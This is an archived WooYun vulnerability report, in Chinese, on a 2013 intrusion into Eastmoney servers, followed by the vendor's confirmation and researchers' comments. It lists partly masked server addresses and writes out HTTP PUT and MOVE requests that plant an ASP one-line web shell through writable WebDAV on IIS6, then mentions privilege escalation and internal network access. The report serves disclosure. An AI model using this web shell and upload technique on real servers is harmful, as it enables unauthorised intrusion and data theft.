当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-044765

漏洞标题：东方财富网某漏洞可导致内网渗透

相关厂商：东方财富网

漏洞作者： 带馅儿馒头

提交时间：2013-12-03 01:04

修复时间：2014-01-17 01:04

公开时间：2014-01-17 01:04

漏洞类型：成功的入侵事件

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-03： 细节已通知厂商并且等待厂商处理中
2013-12-03： 厂商已经确认，细节仅向厂商公开
2013-12-13： 细节向核心白帽子及相关领域专家公开
2013-12-23： 细节向普通白帽子公开
2014-01-02： 细节向实习白帽子公开
2014-01-17： 细节向公众公开

简要描述：

安全，不在于强大的地方多强大，在于脆弱的地方有多脆弱！！

详细说明：

1.首先，从http://xxx.eastmoney.com/xx/android/serverlist3.ini这地地址获取了东方财富网的服务器列表！

[wt_f]
lvs1=124.95.x.206:2860
lvs2=123.129.x.227:2860,124.95.x.205:2860
lvs3=123.129.x.239:80
lvs4=124.95.138.x:1861,123.129.x.228:1861,123.129.x.229:1861
[wt_p]
lvs1=123.129.x.235:2860
lvs2=123.129.x.227:2860,124.95.x.205:2860
lvs3=123.129.x.239:80
lvs4=124.95.x.205:1861,123.129.x.228:1861,123.129.x.229:1861
[dx_f]
lvs1=114.80.x.46:2860
lvs2=222.73.x.92:2860,202.104.x.245:2860
lvs3=222.73.x.210:80
lvs4=202.104.x.245:1861,180.153.x.238:1861,180.153.x.110:1861,114.80.x.45:1861
[dx_p]
lvs1=114.80.x.46:2860
lvs2=222.73.x.92:2860,202.104.x.245:2860
lvs3=222.73.x.210:80
lvs4=202.104.x.245:1861,180.153.x.238:1861,180.153.x.110:1861,114.80.x.45:1861
[yd_f]
lvs1=115.236.x.4:2860
lvs2=120.199.x.123:2860,120.199.x.120:2860
lvs3=120.199.x.124:80
lvs4=120.199.x.123:1861,120.199.x.120:1861
[yd_p]
lvs1=115.236.x.4:2860
lvs2=120.199.x.123:2860,120.199.x.120:2860
lvs3=120.199.x.124:80
lvs4=120.199.x.123:1861,120.199.x.120:1861
[test]
lvs1=...
lvs2=...
lvs3=202.104.x.68:80
lvs4=202.104.x.72:1861,202.104.x.44:1861,202.104.x.15:1861,202.104.x.73:1861


2.有了目标群了就可以开始检测，我发现了下面这样一个系统；

5.png


4.png


3.服务器为iis6开启了webdav，并且可写：（；

1.png


4.很简单的漏洞利用方式“put”、“move”，搞定！

PUT /mantou.txt HTTP/1.1
Host: 114.80.x.72:8080
Content-Length: 23
<%eval request("@")%>


2.png


MOVE /mantou.txt HTTP/1.1 
Host: 114.80.x.72:8080  
Destination: http://114.80.x.72:8080/mantou.asp


3.png


5.这样子很快就拿到了shell；

6.png


6.提权获取服务器控制权限；

8.png


7.门户网站和我所控制的服务器在同一网段；

9.png


PS：就这样子，门户网站服务器已经近在眼前，那么敏感的数据也不再遥远~~所以此次的测试也就到此为止，我的目标不在于拿到主站服务器或敏感数据，仅仅演示危害而已~还是那句话~“安全，不在于强大的地方多强大，在于脆弱的地方有多脆弱”，最后，shell你们自己删除下~

漏洞证明：

见详细说明

修复方案：

这个你们都知道吧

版权声明：转载请注明来源 带馅儿馒头@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2013-12-03 12:33

厂商回复：

是个问题，多谢提醒，欢迎继续提供线索！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-03 01:23 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在，梦在)

    @xsser 这么晚还在审核洞子：）

  2. 2013-12-03 08:55 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    自动通过波

  3. 2013-12-03 09:04 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    洞主深夜造访

  4. 2013-12-03 10:46 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在，梦在)

    @小川 @zzR 自动通过，还会修改我原来v587的标题？

  5. 2013-12-03 10:49 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    @带馅儿馒头 那应该就是爱了·0·

  6. 2013-12-03 10:50 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在，梦在)

    @zzR 瞬间感觉脚心暖暖的 -_-

  7. 2013-12-03 12:57 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    @带馅儿馒头 @zzR 估计失眠了@xsser

  8. 2014-01-17 09:12 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @带馅儿馒头 尼玛，馒头兄，这个都才给你5啊？替你不值啊！

  9. 2014-01-17 11:04 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在，梦在)

    @小胖子 可不是嘛，不过他们送我礼物了~

  10. 2014-01-17 11:04 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    @带馅儿馒头 鼠标垫？

  11. 2014-01-17 11:06 | 带馅儿馒头 ( 普通白帽子 | Rank:1278 漏洞数:143 | 心在，梦在)

    @小胖子 好像是个华硕的DVD刻录~